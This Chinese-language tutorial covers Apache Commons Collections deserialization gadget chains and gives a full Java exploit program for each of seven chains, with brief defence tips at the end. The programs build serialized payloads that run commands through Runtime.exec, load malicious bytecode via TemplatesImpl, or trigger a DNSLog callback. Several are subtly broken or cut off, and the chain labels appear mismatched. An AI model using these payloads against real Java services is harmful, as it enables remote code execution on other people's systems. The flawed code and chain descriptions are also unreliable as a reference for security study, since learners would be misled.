一、认识 CC 链
1.1 基本定义
CC 链全称为Apache Commons Collections 链，是 Java 反序列化漏洞中最经典、应用最广泛的利用链之一。Apache Commons Collections（简称 ACC）是 Apache 基金会开发的一个 Java 工具类库，提供了大量增强型集合类（如TransformedMap、LazyMap）和工具方法，由于其在 Java 生态中的高普及率，成为反序列化漏洞利用的 “绝佳载体”。
CC 链的核心本质是：通过构造特定的 ACC 库类实例，将恶意代码植入到反序列化流程中，当目标应用对恶意序列化数据进行反序列化时，会触发 ACC 库类中预设的 “恶意调用链”，最终执行攻击者的代码（如命令执行、文件操作等）。
1.2 核心原理
Java 反序列化漏洞的触发前提是 “类重写了readObject()方法，且该方法中存在可控的危险操作”。CC 链的核心思路是：
利用 ACC 库中实现了
Serializable接口（支持序列化）的类；这些类的
readObject()方法或其关联方法（如transform()、get()）会调用其他方法，形成 “方法调用链”；通过构造 “恶意调用链”（将
InvokerTransformer等可执行命令的类植入链中），让反序列化过程最终触发Runtime.exec()等危险方法。
1.3 关键组件
在 CC 链中，以下 ACC 库类和 Java 原生类是核心组件，几乎所有 CC 子链都会用到：
Transformer接口：定义了transform(Object input)方法，是调用链的 “节点模板”；InvokerTransformer类：实现Transformer接口，通过反射调用任意类的任意方法（核心危险类，可直接调用Runtime.exec()）；ChainedTransformer类：实现Transformer接口，可将多个Transformer串联成 “调用链”，依次执行每个Transformer的transform()方法；TransformedMap类：增强型 Map，在添加 / 修改元素时会调用预设的Transformer处理元素；LazyMap类：增强型 Map，在调用get()方法获取不存在的键时，会调用预设的Transformer生成值。
二、CC1 链分析（经典基础链）
2.1 基本信息
依赖版本：Apache Commons Collections 3.1~3.2.1（3.2.2 版本修复了该漏洞）；
核心思路：利用
TransformedMap的 “元素修改触发Transformer” 特性，结合ChainedTransformer串联InvokerTransformer，构造恶意调用链，最终通过反序列化触发Runtime.exec()。
2.2 关键类与方法
| 类名 | 核心方法 | 作用 |
|---|---|---|
TransformedMap | put(Object key, Object value) | 添加元素时调用valueTransformer处理值 |
ChainedTransformer | transform(Object input) | 串联多个Transformer，依次执行 |
InvokerTransformer | transform(Object input) | 通过反射调用目标方法（如exec()） |
HashMap | readObject(ObjectInputStream) | 反序列化时会调用putVal()间接触发put() |
2.3 调用流程（核心链路）
2.4 EXP 实现
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.util.HashMap;
import java.util.Map;
public class CC1Exp {
public static void main(String[] args) throws Exception {
// 1. 构造三个InvokerTransformer，分别实现：获取Runtime类 → 获取Runtime实例 → 执行命令
Transformer[] transformers = new Transformer[]{
// 第一步：通过Class.forName获取Runtime.class（参数"java.lang.Runtime"）
new InvokerTransformer("forName",
new Class[]{String.class},
new Object[]{"java.lang.Runtime"}),
// 第二步：调用Runtime.class的getRuntime()方法，获取Runtime实例
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
// 第三步：调用Runtime实例的exec()方法，执行命令（此处为calc.exe，Windows计算器）
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc.exe"})
};
// 2. 用ChainedTransformer串联上述Transformer，形成调用链
Transformer chainedTransformer = new ChainedTransformer(transformers);
// 3. 创建普通HashMap，包装为TransformedMap（指定valueTransformer为恶意调用链）
Map<String, String> normalMap = new HashMap<>();
normalMap.put("key", "value");
Map<String, String> maliciousMap = TransformedMap.decorate(normalMap, null, chainedTransformer);
// 4. 序列化恶意Map（模拟攻击者发送恶意数据）
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc1.ser"));
oos.writeObject(maliciousMap);
oos.close();
// 5. 反序列化（模拟目标应用触发漏洞）
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("cc1.ser"));
ois.readObject(); // 反序列化时触发调用链，执行calc.exe
ois.close();
}
}2.5 特点与局限性
特点：原理简单、兼容性强（覆盖 3.x 早期版本），是学习 CC 链的入门案例；
局限性：3.2.2 版本后 ACC 库修复了
TransformedMap的触发逻辑，且依赖HashMap.readObject()的执行流程，易被安全防护检测。
三、CC2 链分析（基于 TemplatesImpl 优化）
3.1 基本信息
依赖版本：Apache Commons Collections 3.1~3.2.1；
核心思路：引入 Java 原生类
com.sun.org``.apache.xalan.internal.xsltc.trax.TemplatesImpl（简称TemplatesImpl），利用其defineClass()方法加载恶意字节码，替代 CC1 中直接调用Runtime.exec()的方式，绕开部分检测。
3.2 关键类与方法
| 类名 | 核心方法 | 作用 |
|---|---|---|
TemplatesImpl | defineClass(String name, byte[] b, int off, int len) | 加载字节码并定义恶意类 |
TemplatesImpl | getOutputProperties() | 间接调用defineClass()和newInstance() |
InvokerTransformer | transform(Object input) | 触发TemplatesImpl.getOutputProperties() |
3.3 调用流程（核心链路）
3.4 EXP 实现
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class CC2Exp {
// 1. 定义恶意类（继承AbstractTranslet，满足TemplatesImpl加载要求）
static class MaliciousTranslet extends AbstractTranslet {
static {
// static代码块在类加载时执行，触发命令
try {
Runtime.getRuntime().exec("calc.exe");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
@Override
public void transform(com.sun.org.apache.xalan.internal.xsltc.DOM dom, com.sun.org.apache.xml.internal.dtm.DTMAxisIterator iterator, com.sun.org.apache.xalan.internal.xsltc.translet.TransletOutputHandler outputHandler, com.sun.org.apache.xml.internal.serializer.Serializer serializer) throws Exception {}
@Override
public void transform(com.sun.org.apache.xalan.internal.xsltc.DOM dom, com.sun.org.apache.xml.internal.dtm.DTMAxisIterator iterator, com.sun.org.apache.xalan.internal.xsltc.translet.TransletOutputHandler outputHandler) throws Exception {}
}
public static void main(String[] args) throws Exception {
// 2. 获取恶意类的字节码（模拟攻击者准备恶意字节码）
byte[] maliciousBytecode = getClassBytecode(MaliciousTranslet.class);
// 3. 构造TemplatesImpl实例，设置_bytecodes为恶意字节码
TemplatesImpl templates = new TemplatesImpl();
Field bytecodesField = TemplatesImpl.class.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
bytecodesField.set(templates, new byte[][]{maliciousBytecode});
// 4. 构造调用链：触发TemplatesImpl.getOutputProperties()
Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getOutputProperties", new Class[0], new Object[0])
};
Transformer chainedTransformer = new ChainedTransformer(transformers);
// 5. 包装恶意Map并序列化
Map<String, TemplatesImpl> normalMap = new HashMap<>();
normalMap.put("key", templates);
Map<String, TemplatesImpl> maliciousMap = TransformedMap.decorate(normalMap, null, chainedTransformer);
// 6. 序列化与反序列化（触发漏洞）
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc2.ser"));
oos.writeObject(maliciousMap);
oos.close();
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("cc2.ser"));
ois.readObject();
ois.close();
}
// 辅助方法：获取类的字节码
private static byte[] getClassBytecode(Class<?> cls) throws Exception {
File file = new File(cls.getProtectionDomain().getCodeSource().getLocation().toURI());
FileInputStream fis = new FileInputStream(new File(file, cls.getName().replace(".", "/") + ".class"));
byte[] bytes = new byte[fis.available()];
fis.read(bytes);
fis.close();
return bytes;
}
}3.5 特点与局限性
特点：利用字节码加载执行命令，比 CC1 更隐蔽，可绕开对
Runtime.exec()的直接检测；局限性：依赖
TemplatesImpl类（属于 Xalan 库，部分环境可能缺失），且 ACC 版本限制与 CC1 一致。
四、CC3 链分析（基于 LazyMap 优化触发方式）
4.1 基本信息
依赖版本：Apache Commons Collections 3.1~3.2.1；
核心思路：用
LazyMap替代 CC1/CC2 中的TransformedMap，利用LazyMap.get()方法（获取不存在的键时触发Transformer）作为触发点，避免依赖HashMap.put()的执行流程，进一步绕开检测。
4.2 关键类与方法
| 类名 | 核心方法 | 作用 |
|---|---|---|
LazyMap | get(Object key) | 键不存在时调用factory.transform()（即Transformer） |
HashMap | readObject() | 反序列化时会调用hash()，间接触发LazyMap.get() |
ChainedTransformer | transform(Object input) | 串联恶意调用链 |
4.3 调用流程（核心链路）
4.4 EXP 实现
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class CC3Exp {
// 1. 定义恶意Translet类
static class MaliciousTranslet extends AbstractTranslet {
static {
try {
Runtime.getRuntime().exec("calc.exe");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
@Override
public void transform(com.sun.org.apache.xalan.internal.xsltc.DOM dom, com.sun.org.apache.xml.internal.dtm.DTMAxisIterator iterator, com.sun.org.apache.xalan.internal.xsltc.translet.TransletOutputHandler outputHandler, com.sun.org.apache.xml.internal.serializer.Serializer serializer) throws Exception {}
@Override
public void transform(com.sun.org.apache.xalan.internal.xsltc.DOM dom, com.sun.org.apache.xml.internal.dtm.DTMAxisIterator iterator, com.sun.org.apache.xalan.internal.xsltc.translet.TransletOutputHandler outputHandler) throws Exception {}
}
public static void main(String[] args) throws Exception {
// 2. 准备恶意字节码与TemplatesImpl实例
byte[] maliciousBytecode = getClassBytecode(MaliciousTranslet.class);
TemplatesImpl templates = new TemplatesImpl();
Field bytecodesField = TemplatesImpl.class.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
bytecodesField.set(templates, new byte[][]{maliciousBytecode});
// 3. 构造调用链：触发TemplatesImpl.getOutputProperties()
Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getOutputProperties", new Class[0], new Object[0])
};
Transformer chainedTransformer = new ChainedTransformer(transformers);
// 4. 用LazyMap包装（factory为恶意调用链），且不添加"triggerKey"（确保get()时触发）
Map<String, TemplatesImpl> maliciousMap = LazyMap.decorate(new HashMap<>(), chainedTransformer);
maliciousMap.put("key", templates); // 添加其他键，避免触发
// 5. 反射修改HashMap的table属性，插入"triggerKey"（反序列化时hash()会触发get()）
Field tableField = HashMap.class.getDeclaredField("table");
tableField.setAccessible(true);
Object[] table = (Object[]) tableField.get(maliciousMap);
for (Object entry : table) {
if (entry != null) {
Field keyField = entry.getClass().getDeclaredField("key");
keyField.setAccessible(true);
keyField.set(entry, "triggerKey"); // 将键改为不存在的"triggerKey"
break;
}
}
// 6. 序列化与反序列化
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc3.ser"));
oos.writeObject(maliciousMap);
oos.close();
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("cc3.ser"));
ois.readObject();
ois.close();
}
// 辅助方法：获取类字节码（同CC2）
private static byte[] getClassBytecode(Class<?> cls) throws Exception {
File file = new File(cls.getProtectionDomain().getCodeSource().getLocation().toURI());
FileInputStream fis = new FileInputStream(new File(file, cls.getName().replace(".", "/") + ".class"));
byte[] bytes = new byte[fis.available()];
fis.read(bytes);
fis.close();
return bytes;
}
}4.5 特点与局限性
特点：触发点从
put()改为get()，更隐蔽，不依赖元素添加流程，检测绕过能力更强；局限性：需通过反射修改
HashMap的table属性，操作较复杂，且 ACC 版本限制不变。
五、CC4 链分析（结合 PriorityQueue 的被动触发）
5.1 基本信息
依赖版本：Apache Commons Collections 3.1~3.2.1；
核心思路：引入 Java 原生类
PriorityQueue（优先级队列），利用其readObject()方法中对队列元素的 “排序操作”，被动触发LazyMap.get()，进一步降低触发流程的 “主动性”，绕开更多防护。
5.2 关键类与方法
| 类名 | 核心方法 | 作用 |
|---|---|---|
PriorityQueue | readObject() | 反序列化时调用heapify()对元素排序 |
PriorityQueue | heapify() | 调用compare()比较元素，触发LazyMap.get() |
LazyMap | get(Object key) | 触发恶意调用链 |
5.3 调用流程（核心链路）
5.4 EXP 实现
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import java.io.*;
import java.lang.reflect.Field;
import java.util.*;
public class CC4Exp {
// 1. 恶意Translet类（同CC2/CC3）
static class MaliciousTranslet extends AbstractTranslet {
static {
try {
Runtime.getRuntime().exec("calc.exe");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
@Override
public void transform(com.sun.org.apache.xalan.internal.xsltc.DOM dom, com.sun.org.apache.xml.internal.dtm.DTMAxisIterator iterator, com.sun.org.apache.xalan.internal.xsltc.translet.TransletOutputHandler outputHandler, com.sun.org.apache.xml.internal.serializer.Serializer serializer) throws Exception {}
@Override
public void transform(com.sun.org.apache.xalan.internal.xsltc.DOM dom, com.sun.org.apache.xml.internal.dtm.DTMAxisIterator iterator, com.sun.org.apache.xalan.internal.xsltc.translet.TransletOutputHandler outputHandler) throws Exception {}
}
public static void main(String[] args) throws Exception {
// 2. 准备TemplatesImpl实例
byte[] maliciousBytecode = getClassBytecode(MaliciousTranslet.class);
TemplatesImpl templates = new TemplatesImpl();
Field bytecodesField = TemplatesImpl.class.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
bytecodesField.set(templates, new byte[][]{maliciousBytecode});
// 3. 构造恶意调用链
Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getOutputProperties", new Class[0], new Object[0])
};
Transformer chainedTransformer = new ChainedTransformer(transformers);
// 4. 构造LazyMap（键"triggerKey"不存在，用于触发get()）
Map<String, TemplatesImpl> lazyMap = LazyMap.decorate(new HashMap<>(), chainedTransformer);
lazyMap.put("key", templates);
// 5. 构造PriorityQueue，添加两个LazyMap实例（触发排序）
PriorityQueue
5.5 特点与局限性
特点：利用
PriorityQueue的排序特性被动触发，触发流程更隐蔽，几乎不依赖 “主动修改元素”；局限性：需构造特定的比较器，且
PriorityQueue在部分环境中可能不常用，兼容性略低于前几条链。
六、CC5 链分析（基于 ConstantTransformer 简化调用链）
6.1 基本信息
依赖版本：Apache Commons Collections 3.1~3.2.1；
核心思路：引入
ConstantTransformer（返回固定对象的Transformer），替代 CC1 中通过多步反射获取Runtime实例的逻辑，简化调用链，提高稳定性。
6.2 关键类与方法
| 类名 | 核心方法 | 作用 |
|---|---|---|
ConstantTransformer | transform(Object input) | 直接返回预设的对象（如Runtime实例） |
ChainedTransformer | transform(Object input) | 串联ConstantTransformer与InvokerTransformer |
6.3 调用流程（核心链路）
6.4 EXP 实现
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.util.HashMap;
import java.util.Map;
public class CC5Exp {
public static void main(String[] args) throws Exception {
// 1. 直接获取Runtime实例（通过getRuntime()）
Runtime runtime = Runtime.getRuntime();
// 2. 构造调用链：ConstantTransformer返回Runtime实例 → InvokerTransformer调用exec()
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(runtime), // 直接返回预设的Runtime实例
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc.exe"}) // 调用exec()执行命令
};
Transformer chainedTransformer = new ChainedTransformer(transformers);
// 3. 包装恶意Map并序列化
Map<String, String> normalMap = new HashMap<>();
normalMap.put("key", "value");
Map<String, String> maliciousMap = TransformedMap.decorate(normalMap, null, chainedTransformer);
// 4. 序列化与反序列化
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc5.ser"));
oos.writeObject(maliciousMap);
oos.close();
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("cc5.ser"));
ois.readObject();
ois.close();
}
}6.5 特点与局限性
特点：调用链极简化（仅两步），稳定性高，不易因反射步骤错误导致漏洞失效；
局限性：
ConstantTransformer返回的Runtime实例在序列化时会被正常序列化，部分防护可能检测 “序列化流中的Runtime对象”。
七、CC6 链分析（结合 URLDNS 链的检测友好型）
7.1 基本信息
依赖版本：Apache Commons Collections 3.1~3.2.1；
核心思路：结合 “URLDNS 链”（通过
URL.hashCode()触发 DNS 查询）与 CC 链，将恶意行为从 “命令执行” 改为 “DNS 查询”，适用于漏洞检测场景（不执行恶意命令，仅通过 DNS 日志判断漏洞存在）。
7.2 关键类与方法
| 类名 | 核心方法 | 作用 |
|---|---|---|
URL | hashCode() | 计算哈希值时触发 DNS 查询 |
HashMap | readObject() | 调用hash()，间接触发URL.hashCode() |
InvokerTransformer | transform(Object input) | 触发URL.hashCode() |
7.3 调用流程（核心链路）
7.4 EXP 实现
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.HashMap;
import java.util.Map;
public class CC6Exp {
public static void main(String[] args) throws Exception {
// 1. 构造攻击者的DNS域名（如"test.cc6.dnslog.cn"，需替换为实际DNSLog域名）
URL maliciousUrl = new URL("http://test.cc6.dnslog.cn");
// 2. 构造调用链：触发URL.hashCode()
Transformer transformer = new InvokerTransformer("hashCode", new Class[0], new Object[0]);
// 3. 包装恶意Map（键为URL对象，valueTransformer为触发hashCode()的Transformer）
Map<URL, String> normalMap = new HashMap<>();
normalMap.put(maliciousUrl, "value");
Map<URL, String> maliciousMap = TransformedMap.decorate(normalMap, null, transformer);
// 4. 反射修改URL的hostAddress为null（确保hashCode()重新触发DNS查询）
java.lang.reflect.Field hostAddressField = URL.class.getDeclaredField("hostAddress");
hostAddressField.setAccessible(true);
hostAddressField.set(maliciousUrl, null);
// 5. 序列化与反序列化（触发DNS查询）
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc6.ser"));
oos.writeObject(maliciousMap);
oos.close();
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("cc6.ser"));
ois.readObject(); // 反序列化时触发DNS查询，攻击者可在DNSLog平台查看记录
ois.close();
}
}7.5 特点与局限性
特点：无恶意命令执行，仅用于漏洞检测，安全性高（不影响目标系统），适合渗透测试中的 “漏洞验证”；
局限性：仅能检测漏洞存在，无法执行恶意操作，且依赖 DNSLog 平台的可用性。
八、CC7 链分析（基于 4.0 + 版本的适配）
8.1 基本信息
依赖版本：Apache Commons Collections 4.0~4.4（修复了 3.x 的部分漏洞，需新的利用思路）；
核心思路：ACC 4.x 版本将
InvokerTransformer等危险类移至org.apache.commons.collections4.functors包，并加强了访问控制，CC7 通过调用TransformerUtils.chainedTransformer()替代直接实例化ChainedTransformer，绕开访问限制。
8.2 关键类与方法
| 类名 | 核心方法 | 作用 |
|---|---|---|
TransformerUtils | chainedTransformer(Transformer[] transformers) | 创建ChainedTransformer实例（4.x 推荐方式） |
LazyMap | get(Object key) | 触发恶意调用链 |
PriorityQueue | readObject() | 被动触发LazyMap.get() |
8.3 调用流程（核心链路）
8.4 EXP 实现
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.map.LazyMap;
import org.apache.commons.collections4.TransformerUtils;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
import java.util.PriorityQueue;
public class CC7Exp {
// 1. 恶意Translet类（同前）
static class MaliciousTranslet extends AbstractTranslet {
static {
try {
Runtime.getRuntime().exec("calc.exe");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
@Override
public void transform(com.sun.org.apache.xalan.internal.xsltc.DOM dom, com.sun.org.apache.xml.internal.dtm.DTMAxisIterator iterator, com.sun.org.apache.xalan.internal.xsltc.translet.TransletOutputHandler outputHandler, com.sun.org.apache.xml.internal.serializer.Serializer serializer) throws Exception {}
@Override
public void transform(com.sun.org.apache.xalan.internal.xsltc.DOM dom, com.sun.org.apache.xml.internal.dtm.DTMAxisIterator iterator, com.sun.org.apache.xalan.internal.xsltc.translet.TransletOutputHandler outputHandler) throws Exception {}
}
public static void main(String[] args) throws Exception {
// 2. 准备TemplatesImpl实例
byte[] maliciousBytecode = getClassBytecode(MaliciousTranslet.class);
TemplatesImpl templates = new TemplatesImpl();
Field bytecodesField = TemplatesImpl.class.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
bytecodesField.set(templates, new byte[][]{maliciousBytecode});
// 3. 用TransformerUtils创建ChainedTransformer（适配4.x版本）
Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getOutputProperties", new Class[0], new Object[0])
};
Transformer chainedTransformer = TransformerUtils.chainedTransformer(transformers);
// 4. 构造LazyMap与PriorityQueue（同CC4）
Map<String, TemplatesImpl> lazyMap = LazyMap.lazyMap(new HashMap<>(), chainedTransformer);
lazyMap.put("key", templates);
PriorityQueue
8.5 特点与局限性
特点：适配 ACC 4.x 版本，绕开了 4.x 对危险类的访问限制，兼容性覆盖更广；
局限性：4.x 版本仍在不断修复漏洞，部分高版本（如 4.5+）可能已无法利用。
九、各 CC 链子链对比与总结
| 子链 | 核心触发类 | 依赖 ACC 版本 | 特点 | 适用场景 |
|---|---|---|---|---|
| CC1 | TransformedMap | 3.1~3.2.1 | 基础经典，易理解 | 入门学习、低版本 ACC 环境 |
| CC2 | TransformedMap+TemplatesImpl | 3.1~3.2.1 | 字节码加载，绕开直接命令检测 | 需隐蔽执行命令的场景 |
| CC3 | LazyMap | 3.1~3.2.1 | get () 触发，更隐蔽 | 绕开 TransformedMap 检测的场景 |
| CC4 | PriorityQueue+LazyMap | 3.1~3.2.1 | 被动排序触发，检测绕过能力强 | 高防护环境的命令执行 |
| CC5 | ConstantTransformer | 3.1~3.2.1 | 调用链简化，稳定性高 | 对稳定性要求高的漏洞利用 |
| CC6 | URL+TransformedMap | 3.1~3.2.1 | DNS 查询，仅用于检测 | 漏洞验证、无恶意操作场景 |
| CC7 | TransformerUtils+PriorityQueue | 4.0~4.4 | 适配 4.x 版本，兼容性广 | 高版本 ACC 环境的命令执行 |
防御建议
升级 ACC 库：将 Apache Commons Collections 升级至最新版本（如 3.2.2+、4.5+），修复已知漏洞；
序列化过滤：使用 Java 序列化过滤机制（如
ObjectInputFilter），禁止反序列化 ACC 库的危险类（如InvokerTransformer、ChainedTransformer）；字节码检测：监控
TemplatesImpl.defineClass()等字节码加载行为，拦截恶意字节码；命令执行监控：对
Runtime.exec()、ProcessBuilder
